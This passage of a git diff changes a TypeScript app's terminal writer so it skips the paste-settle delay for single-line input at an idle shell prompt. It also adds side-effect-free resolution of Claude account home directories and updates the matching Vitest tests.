c886df204c2..29bbe50aafa 100644 --- a/src/main/runtime/runtime-terminal-writer.test.ts +++ b/src/main/runtime/runtime-terminal-writer.test.ts @@ -184,3 +184,91 @@ it.each([ ) } }) + +describe('submit settle before Enter', () => { + /** An idle proof the test settles by hand, after advancing the fake clock. */ + function heldProof(): { claim: () => Promise; settle: (idle: boolean) => void } { + let settle: (idle: boolean) => void = () => { + throw new Error('proof not started') + } + const proof = new Promise((resolve) => { + settle = resolve + }) + return { claim: () => proof, settle: (idle) => settle(idle) } + } + + async function submitTimes(text: string, idleShell: boolean, proofMs = 0): Promise { + vi.useFakeTimers() + const startedAt = Date.now() + const enters: number[] = [] + const proof = heldProof() + const writer = new RuntimeTerminalWriter( + (_id, data) => { + if (data === '\r') { + enters.push(Date.now() - startedAt) + } + return true + }, + () => 'linux', + () => null, + undefined, + proof.claim + ) + const pending = writer.writeAction('pty', { text, enter: true }, `${text}\r`, { + inputKind: 'driving' + }) + await vi.advanceTimersByTimeAsync(proofMs) + proof.settle(idleShell) + await vi.advanceTimersByTimeAsync(5000) + await pending + return enters + } + + it('skips the settle for a single line sent to an idle shell prompt', async () => { + expect(await submitTimes('ls -la', true)).toEqual([0]) + }) + + it('keeps the settle when the pane is not provably an idle shell', async () => { + const [at] = await submitTimes('ls -la', false) + expect(at).toBeGreaterThanOrEqual(500) + }) + + it('keeps the settle for multi-line text even at an idle prompt', async () => { + const [at] = await submitTimes('echo one\necho two', true) + expect(at).toBeGreaterThanOrEqual(500) + }) + + it('counts a failed idle proof toward the settle instead of adding to it', async () => { + const [unproven] = await submitTimes('ls -la', false) + const [slowProof] = await submitTimes('ls -la', false, 250) + expect(slowProof).toBe(unproven) + }) + + it('does not submit when the send is cancelled during a successful idle proof', async () => { + vi.useFakeTimers() + const writes: string[] = [] + const controller = new AbortController() + const proof = heldProof() + const writer = new RuntimeTerminalWriter( + (_id, data) => { + writes.push(data) + return true + }, + () => 'linux', + () => null, + undefined, + proof.claim + ) + const pending = writer.writeAction('pty', { text: 'ls', enter: true }, 'ls\r', { + inputKind: 'driving', + signal: controller.signal + }) + const rejected = expect(pending).rejects.toThrow('request_aborted') + await vi.advanceTimersByTimeAsync(100) + controller.abort() + proof.settle(true) + await vi.advanceTimersByTimeAsync(1000) + await rejected + expect(writes).toEqual(['ls']) + }) +}) diff --git a/src/main/runtime/runtime-terminal-writer.ts b/src/main/runtime/runtime-terminal-writer.ts index 0c5715d1ec9..8b93e235db3 100644 --- a/src/main/runtime/runtime-terminal-writer.ts +++ b/src/main/runtime/runtime-terminal-writer.ts @@ -33,7 +33,8 @@ export class RuntimeTerminalWriter { ptyId: string, data: string, inputKind: TerminalInputKind - ) => WriteSettlement | Promise + ) => WriteSettlement | Promise, + private readonly claimIdleShellPrompt: (ptyId: string) => Promise = async () => false ) {} async writeAction( @@ -82,16 +83,23 @@ export class RuntimeTerminalWriter { } if (hasSuffix) { const suffix = (action.enter ? '\r' : '') + (action.interrupt ? '\x03' : '') - if (text) { + const claimStartedAt = performance.now() + // A shell at its prompt reads one line as typed; agent TUIs need the paste to settle. + if (text && !(isSingleLine(text) && (await this.claimIdleShellPrompt(ptyId)))) { + const delayMs = resolveAgentPromptSubmitDelayForAgent( + this.getWriteHostPlatform(ptyId), + text, + this.getAgent(ptyId) + ) // Enter must wait for host ingestion; a flat 500ms cannot cover 16MB. + // A failed idle proof already spent part of that wait, so a send is never slower than before. await waitForTerminalWriteDelay( - resolveAgentPromptSubmitDelayForAgent( - this.getWriteHostPlatform(ptyId), - text, - this.getAgent(ptyId) - ), + Math.max(0, delayMs - (performance.now() - claimStartedAt)), options.signal ) + } else if (options.signal?.aborted) { + // Match the settle path: a send cancelled during the idle proof must not submit. + throw new Error('request_aborted') } try { await options.beforeWrite?.(ptyId) @@ -167,6 +175,10 @@ export class RuntimeTerminalWriter { } } +function isSingleLine(text: string): boolean { + return !text.includes('\n') && !text.includes('\r') +} + function yieldBetweenTerminalInputChunks(): Promise { return new Promise((resolve) => setImmediate(resolve)) } diff --git a/src/main/runtime/runtime-worktree-agent-rows-structured.test.ts b/src/main/runtime/runtime-worktree-agent-rows-structured.test.ts index 5079efcd0a0..e0bbde68388 100644 --- a/src/main/runtime/runtime-worktree-agent-rows-structured.test.ts +++ b/src/main/runtime/runtime-worktree-agent-rows-structured.test.ts @@ -5,10 +5,7 @@ import { statusFeedChildView } from '../native-chat/agent-session-wire/structure import { normalizeAgentStatusPayload } from '../../shared/agent-status-types' import { resolveWorktreeCatalogSnapshot } from './rpc/worktree-catalog-snapshot' import { attachRuntimeWorktreeAgentRows } from './runtime-worktree-agent-rows' -import { - structuredAgentSessionPaneKey, - structuredAgentSessionTabId -} from '../../shared/structured-agent-session-projection' + import type { AgentSessionStatusSummary } from '../../shared/agent-session-wire' import type { RuntimeWorktreePsSummary } from '../../shared/runtime-types' import { AgentHookServer, _internals } from '../agent-hooks/server' @@ -118,51 +115,14 @@ describe('worktree ps reports structured sessions', () => { expect(ended.agents[0]?.mainAgent).not.toHaveProperty('stopping') }) - it('a busy structured session is not reported idle', () => { - const row = attach([summary()]) - expect(row.agents).toHaveLength(1) - expect(row.agents[0]?.state).toBe('working') - expect(row.agents[0]?.agentType).toBe('claude') - expect(row.agents[0]?.prompt).toBe('ship the thing') - expect(row.status).toBe('working') - }) - it('does not turn a completed host-held session into permission', () => { const row = attach([summary({ status: 'idle' })]) expect(row.status).toBe('inactive') expect(row.hasHostSidebarActivity).toBe(false) }) - it('reports the DERIVED pane key, never an orchestration credential', () => { - const row = attach([summary()]) - expect(row.agents[0]?.paneKey).toBe( - structuredAgentSessionPaneKey(structuredAgentSessionTabId(SESSION), SESSION) - ) - }) - // No persisted turn means no projected status, matching the chat. it('omits a session with no projected status', () => { expect(attach([summary({ status: null })]).agents).toHaveLength(0) }) - - it('keeps the journal clock on the row, so a restart republish is not new activity', () => { - const row = attach([summary()]) - expect(row.agents[0]?.updatedAt).toBe(1_757_030_400_000) - expect(row.agents[0]?.stateStartedAt).toBe(1_757_030_400_000) - }) -}) - -/** Keep structured rows out of terminal list: shipped clients mount WebViews and poll by row presence/connected, which no added field can qualify. */ -describe('terminal listing is deliberately left alone', () => { - it('never reads the agent-status store that now carries structured rows', async () => { - const { readFile } = await import('node:fs/promises') - const listing = await readFile( - new URL('./terminal/layout/terminal-resize-listeners.ts', import.meta.url), - 'utf8' - ) - // An empty source read would satisfy every negative assertion. - expect(listing).toContain('async listTerminals(') - expect(listing).not.toContain('getAgentStatusSnapshotFn') - expect(listing).not.toContain('structuredHost') - }) }) diff --git a/src/main/runtime/session-tabs/session-tabs-windowed-main-change.test.ts b/src/main/runtime/session-tabs/session-tabs-windowed-main-change.test.ts index 33b00fa1c28..a5ccf92c568 100644 --- a/src/main/runtime/session-tabs/session-tabs-windowed-main-change.test.ts +++ b/src/main/runtime/session-tabs/session-tabs-windowed-main-change.test.ts @@ -146,25 +146,6 @@ describe('session.tabs on a windowed server follow main without a window publish expect(parentTabsOf(await listed(runtime))).toEqual([SURFACE_TAB_ID, SECOND_TAB_ID]) }) - // Stale until W4's dropped-leaf hook (its close PR, ledger L255) drops the row; remove .fails then. - it.fails("a CLI close reaches the rows, which then agree with main's layout", async () => { - const { runtime, store } = threeTabSurfaceRuntime() - const seen = await windowedPhone(runtime) - expect(parentTabsOf(await listed(runtime))).toContain(SECOND_TAB_ID) - - await runtime.applyLayoutCommand({ - type: 'closeTabs', - workspace: TEST_WORKTREE_ID, - tabIds: [SECOND_TAB_ID], - force: true - }) - await vi.runAllTimersAsync() - - expect(layoutTabIds(store)).not.toContain(SECOND_TAB_ID) - expect(parentTabsOf(seen.at(-1))).toEqual(layoutTabIds(store)) - expect(parentTabsOf(await listed(runtime))).toEqual(layoutTabIds(store)) - }) - it("a later commit, or the window's older snapshot, never re-adds a row main's layout lacks", async () => { const { runtime } = threeTabSurfaceRuntime() await windowedPhone(runtime) diff --git a/src/main/runtime/session-tabs/structured-session-account-home-location.test.ts b/src/main/runtime/session-tabs/structured-session-account-home-location.test.ts new file mode 100644 index 00000000000..288521ba13e --- /dev/null +++ b/src/main/runtime/session-tabs/structured-session-account-home-location.test.ts @@ -0,0 +1,131 @@ +import { mkdirSync, mkdtempSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, expect, it, vi } from 'vitest' +import { ClaudeProfileRouter } from '../../claude-accounts/claude-profile-router' +import { agentSessionConversationView } from '../../../shared/agent-session-conversation-view' +import { agentSessionRecordFixture } from '../../../shared/agent-session-record.test-fixture' +import { OrcaRuntimeWithStructuredSessionAccountHome } from './structured-session-account-home' +import { installClaudeProfileRouter } from '../../claude-accounts/claude-profile-installed-router' +import { onRunningAccount } from '../../native-chat/agent-model-catalog/agent-model-catalog-running-account' +import { structuredAgentRuntimeMetadata } from '../structured-agent-runtime-metadata' +import { createAgentModelCatalogService } from '../../native-chat/agent-model-catalog/agent-model-catalog-service' +import { agentDrivesSession } from '../../native-chat/agent-session-wire/structured-agent-session-provider-support' +import { claudeAndCodexAgents } from '../../native-chat/agent-session-wire/structured-agent-session-adapter-router-test-support' +import { AgentModelCatalogStore } from '../../native-chat/agent-model-catalog/agent-model-catalog-store' + +vi.mock('./structured-session-cli-writer-host', () => ({ + OrcaRuntimeWithStructuredSessionCliWriterHost: class {} +})) +vi.mock('../../orca-profiles/profile-storage-paths', async () => { + const { tmpdir } = await import('node:os') + return { getProfileUserDataPath: () => tmpdir() } +}) +const roots: string[] = [] +afterEach(() => { + installClaudeProfileRouter(undefined) + roots.splice(0).forEach((root) => rmSync(root, { recursive: true, force: true })) +}) + +it('with a router names the selected account before its folder exists, through the real runtime resolver', async () => { + const root = mkdtempSync(join(tmpdir(), 'orca-account-identity-')) + roots.push(root) + const settings = { + claudeManagedAccounts: [], + activeClaudeManagedAccountId: 'a', + activeClaudeManagedAccountIdsByRuntime: undefined, + agentStatusHooksEnabled: false, + disabledTuiAgents: [] + } + const runSetup = vi.fn(async () => { + throw new Error('setup refused') + }) + const router = new ClaudeProfileRouter({ + getSettings: () => settings, + dataRoot: root, + userHome: join(root, 'personal'), + env: {}, + runSetup + }) + installClaudeProfileRouter(router) + const runtime: OrcaRuntimeWithStructuredSessionAccountHome = Object.assign( + Object.create(OrcaRuntimeWithStructuredSessionAccountHome.prototype), + { + accounts: { getClaudeConfigDirectory: () => router.systemDefaultHome() }, + requireStore: () => ({ getSettings: () => settings }), + structuredAgentLaunchEnv: () => ({}) + } + ) + const record = agentSessionRecordFixture() + const selected = { variable: 'CLAUDE_CONFIG_DIR', path: router.accountHome('a') } + await expect( + runtime.resolveStructuredAgentLaunchAccountHome(record, 'identity') + ).resolves.toEqual(selected) + await expect(runtime.resolveStructuredAgentLaunchAccountHome(record)).rejects.toMatchObject({ + name: 'AgentSessionPreSpawnError', + reason: 'claudeAccountFolderMissing' + }) + // Neither read starts the account's setup; only a launch does. + expect(runSetup).not.toHaveBeenCalled() + mkdirSync(selected.path, { recursive: true }) + await expect(runtime.resolveStructuredAgentLaunchAccountHome(record)).resolves.toEqual(selected) + await expect( + runtime.resolveStructuredAgentLaunchAccountHome(record, 'identity') + ).resolves.toEqual(selected) +}) + +it('without a router keeps the founding home through the real runtime and catalog account resolver', async () => { + installClaudeProfileRouter(undefined) + const getSettings = vi.fn(() => { + throw new Error('a pinned read must not inspect local settings') + }) + const runtime: OrcaRuntimeWithStructuredSessionAccountHome = Object.assign( + Object.create(OrcaRuntimeWithStructuredSessionAccountHome.prototype), + { requireStore: () => ({ getSettings }) } + ) + const writable = agentSessionRecordFixture() + const record = agentSessionConversationView(writable) + const result = await onRunningAccount( + { + getRecord: () => writable, + launchAccountHome: runtime.resolveStructuredAgentLaunchAccountHome.bind(runtime) + }, + record + ) + expect(result).toBe(record) + expect(result.accountHome).toEqual(record.accountHome) + expect(getSettings).not.toHaveBeenCalled() +}) + +it.each([ + { executionHostId: 'ssh:remote', wslDistro: null }, + { executionHostId: 'local', wslDistro: 'Ubuntu' } +] as const)( + 'unsupported $executionHostId/$wslDistro never probes or mutates the local catalog', + async (location) => { + const record = { + ...agentSessionRecordFixture(), + location: { ...agentSessionRecordFixture().location, ...location } + } + expect(structuredAgentRuntimeMetadata('claude')!.supportsLocation(record.location)).toBe(false) + const probe = vi.fn() + const store = new AgentModelCatalogStore() + const write = vi.spyOn(store, 'recordSuccess') + const resolveAccountHome = vi.fn(async () => record.accountHome) + const service = createAgentModelCatalogService({ + store, + getRecord: () => record, + getConversation: () => agentSessionConversationView(record), + drivesRecord: (entry) => agentDrivesSession(claudeAndCodexAgents(), entry), + resolveAccountHome, + probes: { claude: probe } + }) + expect( + await service.read({ agent: 'claude', sessionId: record.sessionId, waitForListing: true }) + ).toEqual({ origin: 'unknown' }) + expect(probe).not.toHaveBeenCalled() + expect(write).not.toHaveBeenCalled() + expect(resolveAccountHome).not.toHaveBeenCalled() + service.stop() + } +) diff --git a/src/main/runtime/session-tabs/structured-session-account-home-perf.test.ts b/src/main/runtime/session-tabs/structured-session-account-home-perf.test.ts new file mode 100644 index 00000000000..60608499f9e --- /dev/null +++ b/src/main/runtime/session-tabs/structured-session-account-home-perf.test.ts @@ -0,0 +1,150 @@ +import * as fs from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { performance } from 'node:perf_hooks' +import { afterEach, expect, it, vi } from 'vitest' +import { agentSessionRecordFixture } from '../../../shared/agent-session-record.test-fixture' +import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' +import type { ClaudeManagedAccount } from '../../../shared/managed-account-types' +import { ClaudeProfileRouter } from '../../claude-accounts/claude-profile-router' +import { installClaudeProfileRouter } from '../../claude-accounts/claude-profile-installed-router' +import { OrcaRuntimeWithStructuredSessionAccountHome } from './structured-session-account-home' + +vi.mock('node:fs', async (original) => { + const actual = await original() + return { + ...actual, + statSync: vi.fn(actual.statSync), + lstatSync: vi.fn(actual.lstatSync), + existsSync: vi.fn(actual.existsSync), + readFileSync: vi.fn(actual.readFileSync), + readdirSync: vi.fn(actual.readdirSync) + } +}) +vi.mock('../../orca-profiles/profile-storage-paths', async () => { + const { tmpdir } = await import('node:os') + return { getProfileUserDataPath: () => tmpdir() } +}) +vi.mock('./structured-session-cli-writer-host', () => ({ + OrcaRuntimeWithStructuredSessionCliWriterHost: class {} +})) + +const roots: string[] = [] +afterEach(() => { + installClaudeProfileRouter(undefined) + vi.restoreAllMocks() + roots.splice(0).forEach((root) => fs.rmSync(root, { recursive: true, force: true })) +}) + +it.each([25, 250])('bounds desired-home reads with %i managed accounts', async (accounts) => { + for (const signedIn of [true, false]) { + for (const deliveries of [10, 100]) { + const root = fs.mkdtempSync(join(tmpdir(), 'orca-account-read-perf-')) + roots.push(root) + let accountVisits = 0 + let selectionReads = 0 + const selected = `account-${accounts - 1}` + const managed: ClaudeManagedAccount[] = Array.from({ length: accounts }, (_, index) => ({ + get id() { + accountVisits += 1 + return `account-${index}` + }, + email: 'selected@example.test', + authMethod: 'subscription-oauth', + managedAuthPath: '/unused', + createdAt: 0, + updatedAt: 0, + lastAuthenticatedAt: 0 + })) + const settings = { + claudeManagedAccounts: managed, + get activeClaudeManagedAccountId() { + selectionReads += 1 + return selected + }, + activeClaudeManagedAccountIdsByRuntime: undefined, + agentStatusHooksEnabled: false, + disabledTuiAgents: [] + } + const router = new ClaudeProfileRouter({ + getSettings: () => settings, + dataRoot: root, + userHome: join(root, 'personal'), + env: { CLAUDE_CONFIG_DIR: join(root, 'system') } + }) + const selectedHome = router.accountHome(selected) + const systemHome = router.systemDefaultHome() + for (const home of signedIn ? [selectedHome] : [selectedHome, systemHome]) { + fs.mkdirSync(home, { recursive: true }) + } + const state = JSON.stringify({ + oauthAccount: { emailAddress: 'selected@example.test' }, + projects: Object.fromEntries( + Array.from({ length: 1_000 }, (_, index) => [ + `/workspace-${index}`, + { hasTrustDialogAccepted: true } + ]) + ) + }) + const stateFile = join(signedIn ? selectedHome : systemHome, '.claude.json') + fs.writeFileSync(stateFile, state) + installClaudeProfileRouter(router) + // Exercise the runtime entry point without constructing services or starting an agent. + const runtime: OrcaRuntimeWithStructuredSessionAccountHome = Object.assign( + Object.create(OrcaRuntimeWithStructuredSessionAccountHome.prototype), + { + accounts: { getClaudeConfigDirectory: () => router.systemDefaultHome() }, + requireStore: () => ({ getSettings: () => settings }), + structuredAgentLaunchEnv: () => ({}) + } + ) + const reads = vi.spyOn(router, 'routedHome') + for (const spy of [ + fs.statSync, + fs.lstatSync, + fs.existsSync, + fs.readFileSync, + fs.readdirSync + ]) { + vi.mocked(spy).mockClear() + } + accountVisits = 0 + selectionReads = 0 + const record = agentSessionRecordFixture() + let answer: AgentSessionAccountHome | null = null + const started = performance.now() + for (let delivery = 0; delivery < deliveries; delivery += 1) { + answer = await runtime.resolveStructuredAgentLaunchAccountHome(record) + } + const elapsedMs = performance.now() - started + expect(answer).toEqual({ + variable: 'CLAUDE_CONFIG_DIR', + path: signedIn ? selectedHome : systemHome + }) + const stats = vi.mocked(fs.statSync).mock.calls.length + const directoryStats = vi.mocked(fs.lstatSync).mock.calls.length + const stateReads = vi.mocked(fs.readFileSync).mock.calls.length + expect(reads).toHaveBeenCalledTimes(deliveries) + expect(selectionReads).toBe(deliveries) + expect(accountVisits).toBe(signedIn ? 0 : accounts * deliveries) + expect(stats).toBe(signedIn ? deliveries : 2 * deliveries) + expect(directoryStats).toBe(signedIn ? deliveries : 0) + expect(vi.mocked(fs.existsSync).mock.calls.length).toBeLessThanOrEqual(2 * deliveries) + expect(stateReads).toBe(1) // Cold first read, then metadata-validated login cache. + expect(vi.mocked(fs.readFileSync).mock.calls[0][0]).toBe(stateFile) + expect(fs.readdirSync).not.toHaveBeenCalled() + console.info('account-home-perf', { + accounts, + deliveries, + signedIn, + selectionReads, + accountVisits, + stats, + directoryStats, + stateReads, + stateBytes: Buffer.byteLength(state), + elapsedMs + }) + } + } +}) diff --git a/src/main/runtime/session-tabs/structured-session-account-home.ts b/src/main/runtime/session-tabs/structured-session-account-home.ts index 99484b2a3dc..55727743c67 100644 --- a/src/main/runtime/session-tabs/structured-session-account-home.ts +++ b/src/main/runtime/session-tabs/structured-session-account-home.ts @@ -2,13 +2,15 @@ import type { StructuredAgentId } from '../../../shared/agent-session-provider-h import { structuredAgentRuntimeMetadata } from '../structured-agent-runtime-metadata' import { getProfileUserDataPath } from '../../orca-profiles/profile-storage-paths' import { OrcaRuntimeWithStructuredSessionCliWriterHost } from './structured-session-cli-writer-host' +import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' +import type { AgentSessionRecord } from '../../../shared/agent-session-record' export abstract class OrcaRuntimeWithStructuredSessionAccountHome extends OrcaRuntimeWithStructuredSessionCliWriterHost { /** Resolve account home through this host's agent registration; null means unregistered and create refuses. */ protected structuredAgentAccountHomeResolver( agent: StructuredAgentId, worktree: string, - purpose: 'launch' | 'read', + purpose: 'launch' | 'read' | 'identity', hostLaunchDirectory?: string ) { const registration = structuredAgentRuntimeMetadata(agent) @@ -38,4 +40,20 @@ export abstract class OrcaRuntimeWithStructuredSessionAccountHome extends OrcaRu } ) } + + /** The account home a start of this chat would launch under now, read without side effects; null + * for an agent whose chats keep the account they were created on. `identity` names it before its + * folder exists; the default read checks availability. */ + async resolveStructuredAgentLaunchAccountHome( + record: AgentSessionRecord, + purpose: 'read' | 'identity' = 'read' + ): Promise { + const { provider, location } = record + if (!structuredAgentRuntimeMetadata(provider)?.launchFollowsSelection?.()) { + return null + } + const read = this.structuredAgentAccountHomeResolver(provider, '', purpose) + const launchEnv = this.structuredAgentLaunchEnv(provider, this.requireStore().getSettings()) + return (await read?.({ launchEnv, location })) ?? null + } } diff --git a/src/main/runtime/structured-agent-account-home.ts b/src/main/runtime/structured-agent-account-home.ts index a8d92bf4ef7..642eb2be052 100644 --- a/src/main/runtime/structured-agent-account-home.ts +++ b/src/main/runtime/structured-agent-account-home.ts @@ -13,6 +13,8 @@ import { join } from 'node:path' export type StructuredClaudeAccountHomeDeps = { launchEnv: NodeJS.ProcessEnv wslDistro: string | null + /** `identity` names the selected account before its folder exists; the default checks availability. */ + purpose?: 'identity' getClaudeConfigDirectory: ( target: { runtime: 'host' } | { runtime: 'wsl'; wslDistro: string } ) => string | null | undefined @@ -22,7 +24,9 @@ export function resolveStructuredClaudeAccountHomePath( deps: StructuredClaudeAccountHomeDeps ): string { // Why only an account: System default keeps the launch-env and configured homes below. - const accountHome = deps.wslDistro ? null : getClaudeProfileRouter()?.routedHome() + const accountHome = deps.wslDistro + ? null + : getClaudeProfileRouter()?.routedHome(deps.purpose === 'identity' ? 'identity' : 'checked') if (accountHome) { return accountHome } diff --git a/src/main/runtime/structured-agent-launch-composition.test-support.ts b/src/main/runtime/structured-agent-launch-composition.test-support.ts index 60cebb0233a..bee578e98d1 100644 --- a/src/main/runtime/structured-agent-launch-composition.test-support.ts +++ b/src/main/runtime/structured-agent-launch-composition.test-support.ts @@ -1,3 +1,4 @@ +import type { ClaudeAccountRecipe } from '../../shared/agent-session-acquired-account' // Build agent launch resolvers with production composition over test doubles so tests exercise the shared path. import type { AgentSessionRecordStore } from './agent-session-record-store' @@ -107,6 +108,7 @@ function withTestSpawnToken( identity: AgentSessionJournalIdentity spawnToken?: string | null permissionMode?: AgentChatPermissionChoice + accountRecipe?: ClaudeAccountRecipe }) => { const spawnToken = input.spawnToken === undefined ? defaultToken : input.spawnToken return spawnToken === null @@ -114,6 +116,7 @@ function withTestSpawnToken( : resolve({ identity: input.identity, spawnToken, + ...(input.accountRecipe ? { accountRecipe: input.accountRecipe } : {}), ...(input.permissionMode ? { permissionMode: input.permissionMode } : {}) }) } diff --git a/src/main/runtime/structured-agent-launch-composition.ts b/src/main/runtime/structured-agent-launch-composition.ts index 6a41f64fe8e..465bcb47013 100644 --- a/src/main/runtime/structured-agent-launch-composition.ts +++ b/src/main/runtime/structured-agent-launch-composition.ts @@ -1,3 +1,4 @@ +import type { ClaudeAccountRecipe } from '../../shared/agent-session-acquired-account' // Compose shared admission, cwd, environment, visuals and child sealing; agent parts add only agent-specific inputs and never set cwd/sealed env. import type { AgentSessionJournalIdentity } from '../../shared/agent-session-journal-types' @@ -53,6 +54,7 @@ export type StructuredAgentLaunchBasis = { refreshAfterMissingProgram?: (askedAt: number) => Promise /** The permission mode the host decided this start runs with; absent asks. */ permissionMode?: AgentChatPermissionChoice + accountRecipe?: ClaudeAccountRecipe } export type StructuredLaunchRequest = { @@ -60,6 +62,7 @@ export type StructuredLaunchRequest = { /** The reservation's token, which the seal hands the child. */ spawnToken: string permissionMode?: AgentChatPermissionChoice + accountRecipe?: ClaudeAccountRecipe } /** What the composition sets on a launch; an agent's part never does. */ @@ -138,7 +141,8 @@ async function composedPart( sources: StructuredAgentLaunchSources, part: StructuredAgentLaunchPartResolver, identity: AgentSessionJournalIdentity, - permissionMode?: AgentChatPermissionChoice + permissionMode?: AgentChatPermissionChoice, + accountRecipe?: ClaudeAccountRecipe ): Promise & { cwd: string }> { const record = admittedRecord(definition, sources.store, identity.sessionId) const launchEnv = once(() => sources.resolveAgentLaunchEnv?.(definition.agent) ?? {}) @@ -164,6 +168,7 @@ async function composedPart( } } : {}), + ...(accountRecipe ? { accountRecipe } : {}), ...(permissionMode ? { permissionMode } : {}) } const composed = await part(basis, identity) @@ -175,13 +180,14 @@ export function composeStructuredLaunch( sources: StructuredAgentLaunchSources, part: StructuredAgentLaunchPartResolver ): StructuredAgentLaunchResolver { - return async ({ identity, spawnToken, permissionMode }) => { + return async ({ identity, spawnToken, permissionMode, accountRecipe }) => { const { launch, cwd, env, inheritedEnvToDelete, cliRuntimeCommand } = await composedPart( definition, sources, part, identity, - permissionMode + permissionMode, + accountRecipe ) admittedRecord(definition, sources.store, identity.sessionId) const child = sealStructuredSessionChild({ diff --git a/src/main/runtime/structured-agent-model-catalog-wiring.ts b/src/main/runtime/structured-agent-model-catalog-wiring.ts index d6262639e24..a38518ab575 100644 --- a/src/main/runtime/structured-agent-model-catalog-wiring.ts +++ b/src/main/runtime/structured-agent-model-catalog-wiring.ts @@ -1,5 +1,10 @@ +import type { AgentModelCatalogRunningAccountDeps } from '../native-chat/agent-model-catalog/agent-model-catalog-running-account' +import type { StructuredAgentSessionHost } from '../native-chat/agent-session-wire/structured-agent-session-host' import { agentSessionPinnedLaunchDirectory } from './agent-session-record-launch-directory' -import { agentModelCatalogStore } from '../native-chat/agent-model-catalog/agent-model-catalog-store' +import { + agentModelCatalogStore, + type AgentModelCatalogProbe +} from '../native-chat/agent-model-catalog/agent-model-catalog-store' import { createAgentModelCatalogFilePersistence } from '../native-chat/agent-model-catalog/agent-model-catalog-persistence' import { createAgentModelCatalogService, @@ -10,7 +15,6 @@ import { agentReadsProjectModelConfig, workspaceMayOverrideDefaultModel } from '../native-chat/agent-model-catalog/agent-project-model-override' -import type { AgentModelCatalogProbe } from '../native-chat/agent-model-catalog/agent-model-catalog-store' import type { AgentSessionRecordStore } from './agent-session-record-store' import type { StructuredAgentModelCatalogContext, @@ -67,6 +71,7 @@ export async function modelCatalogHostDeps(input: { store: Pick agents: Pick registrations: readonly CatalogRegistration[] + host: () => StructuredAgentSessionHost | null deps: StructuredAgentModelCatalogContext['deps'] environment: StructuredAgentModelCatalogContext['environment'] }): Promise<{ modelCatalog?: AgentModelCatalogService }> { @@ -81,6 +86,7 @@ export async function modelCatalogHostDeps(input: { getRecord: (sessionId) => input.store.getRecord(sessionId) ?? undefined, drivesRecord: (record) => agentDrivesSession(input.agents, record), resolveAccountHome: deps.resolveAgentAccountHome, + ...structuredAgentModelCatalogAccountReads(input.host), recordWorkspacePath: async (record) => agentSessionPinnedLaunchDirectory(record) ?? (await deps.resolveWorkspacePath(record.location.workspaceId).catch(() => null)), @@ -96,6 +102,15 @@ export async function modelCatalogHostDeps(input: { return { modelCatalog } } +/** Capture the constructing runtime's host lazily; global installation is a separate lifetime. */ +export function structuredAgentModelCatalogAccountReads( + readHost: () => Pick | null +): Pick { + return { + liveAccountHome: (id) => readHost()?.childAccountHome(id) + } +} + /** The installed host lists what a changed account or agent setting made cold; with no host yet, * its install lists everything anyway. */ export function prewarmStructuredAgentModelCatalogs(): void { diff --git a/src/main/runtime/structured-agent-runtime-metadata.ts b/src/main/runtime/structured-agent-runtime-metadata.ts index c8f180835f5..1cd7d11ee8f 100644 --- a/src/main/runtime/structured-agent-runtime-metadata.ts +++ b/src/main/runtime/structured-agent-runtime-metadata.ts @@ -11,6 +11,7 @@ import { supportsCodexStructuredLocation } from '../codex/codex-structured-locat import { supportsClaudeStructuredLocation } from '../claude/claude-structured-location-support' import { supportsAcpStructuredLocation } from '../acp/acp-structured-location-support' import { PI_RPC_RUNTIME_METADATA } from '../pi/rpc-runtime-metadata' +import { getClaudeProfileRouter } from '../claude-accounts/claude-profile-installed-router' import { resolveStructuredClaudeAccountHomePath, resolveStructuredCodexAccountHomePath @@ -133,12 +134,15 @@ export const STRUCTURED_AGENT_RUNTIME_CATALOG: readonly StructuredAgentRuntimeCa modelCatalog: claudeModelCatalogDiscovery, ...CLAUDE_CLI_CONVERSATIONS, supportsLocation: supportsClaudeStructuredLocation, - resolveAccountHome: async ({ launchEnv, location }, services) => + // Without a router a launch keeps the record's home (resolveClaudeStructuredLaunchHome). + launchFollowsSelection: () => getClaudeProfileRouter() !== undefined, + resolveAccountHome: async ({ launchEnv, location, purpose }, services) => agentSessionAccountHome( CLAUDE_STRUCTURED_AGENT, resolveStructuredClaudeAccountHomePath({ launchEnv, wslDistro: location?.wslDistro ?? null, + ...(purpose === 'identity' ? { purpose } : {}), getClaudeConfigDirectory: services.getClaudeConfigDirectory }) ) diff --git a/src/main/runtime/structured-agent-runtime-registration-types.ts b/src/main/runtime/structured-agent-runtime-registration-types.ts index 99888752058..927056fa677 100644 --- a/src/main/runtime/structured-agent-runtime-registration-types.ts +++ b/src/main/runtime/structured-agent-runtime-registration-types.ts @@ -44,8 +44,9 @@ export type StructuredAgentAccountHomeRequest = { launchEnv: NodeJS.ProcessEnv /** Where the chat runs; null for a read with no workspace (the model catalog). */ location: AgentSessionExecutionLocation | null - /** A `read` has no side effects: it syncs no home, starts no bridge, clears no selection. */ - purpose: 'launch' | 'read' + /** A `read` has no side effects: it syncs no home, starts no bridge, clears no selection. + * `identity` is a read that names the selected account before its folder exists. */ + purpose: 'launch' | 'read' | 'identity' /** The launch's workspace directory on this host; a read has none. */ workspacePath: (() => Promise) | null } @@ -101,6 +102,9 @@ export type StructuredAgentRuntimeMetadata = StructuredAgentCliConversations & { request: StructuredAgentAccountHomeRequest, services: StructuredAgentAccountHomeServices ) => Promise + /** Whether a start of an existing chat launches under the account `resolveAccountHome` picks now + * rather than the one its record pins; absent keeps the record's. */ + launchFollowsSelection?: () => boolean } export type StructuredAgentRuntimeRegistration = StructuredAgentRuntimeMetadata & { diff --git a/src/main/runtime/structured-agent-runtime-registrations.ts b/src/main/runtime/structured-agent-runtime-registrations.ts index 67f68bbab6c..3fe613b2500 100644 --- a/src/main/runtime/structured-agent-runtime-registrations.ts +++ b/src/main/runtime/structured-agent-runtime-registrations.ts @@ -11,7 +11,7 @@ import { CODEX_STRUCTURED_AGENT } from '../codex/codex-structured-agent-definiti import { CLAUDE_STRUCTURED_AGENT } from '../claude/claude-structured-agent-definition' import { agentModelCatalogStore } from '../native-chat/agent-model-catalog/agent-model-catalog-store' import { agentSessionAttachmentStoreRoot } from '../native-chat/agent-session-attachments/agent-session-attachment-references' -import { replayJournal } from '../native-chat/agent-session-journal/journal-open' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' import { createStructuredClaudeRuntimeAdapter } from './structured-claude-runtime-adapter' import type { 